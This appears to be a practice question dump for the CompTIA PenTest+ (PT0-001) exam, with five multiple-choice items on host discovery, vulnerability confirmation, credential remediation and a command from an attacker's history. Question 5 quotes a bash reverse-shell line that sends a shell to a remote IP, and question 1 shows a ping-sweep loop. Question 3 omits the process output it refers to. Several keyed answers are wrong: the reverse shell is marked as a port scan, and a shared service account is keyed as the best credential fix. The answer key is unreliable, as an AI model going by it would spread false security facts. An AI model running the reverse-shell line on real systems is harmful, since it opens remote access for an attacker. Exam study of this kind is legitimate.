CompTIA PT0-001 問題集

質問 1：
A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command:
for m in {1..254..1};do ping -c 1 192.168.101.$m; done
Which of the following BEST describes the result of running this command?
A. Denial of service
B. Live host identification
C. Service enumeration
D. Port scan
正解：B

質問 2：
A vulnerability scan report shows what appears to be evidence of a memory disclosure vulnerability on one of the target hosts. The administrator claims the system is patched and the evidence is a false positive. Which of the following is the BEST method for a tester to confirm the vulnerability exists?
A. Confirm via evidence of the updated version number.
B. Run the vulnerability scanner again.
C. Perform dynamic analysis on the vulnerable service.
D. Manually run publicly available exploit code.
正解：B

質問 3：
A penetration tester generates a report for a host-based vulnerability management agent that is running on a production web server to gather a list of running processes. The tester receives the following information.

Which of the following processes MOST likely demonstrates a lack of best practices?
A. dbus-daemon
B. urlgrabber-ext
C. apache2
D. systemd
正解：A

質問 4：
While presenting the results of a penetration test to a client's executive team, the Chief Information Security Officer (CISO) asks for remediation advice for a shared local administrator finding. The client is geographically dispersed, and centralized management is a key concern. Which of the following is the BEST remediation to suggest?
A. Use a service account for administrative functions.
B. Disable the administrator login from the network.
C. Implement a single rotating password for systems.
D. Have random and unique credentials per system.
正解：A

質問 5：
The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?
A. Performs a port scan.
B. Removes error logs for the supplied IP.
C. Grabs the web server's banner.
D. Redirects a TTY to a remote system.
正解：A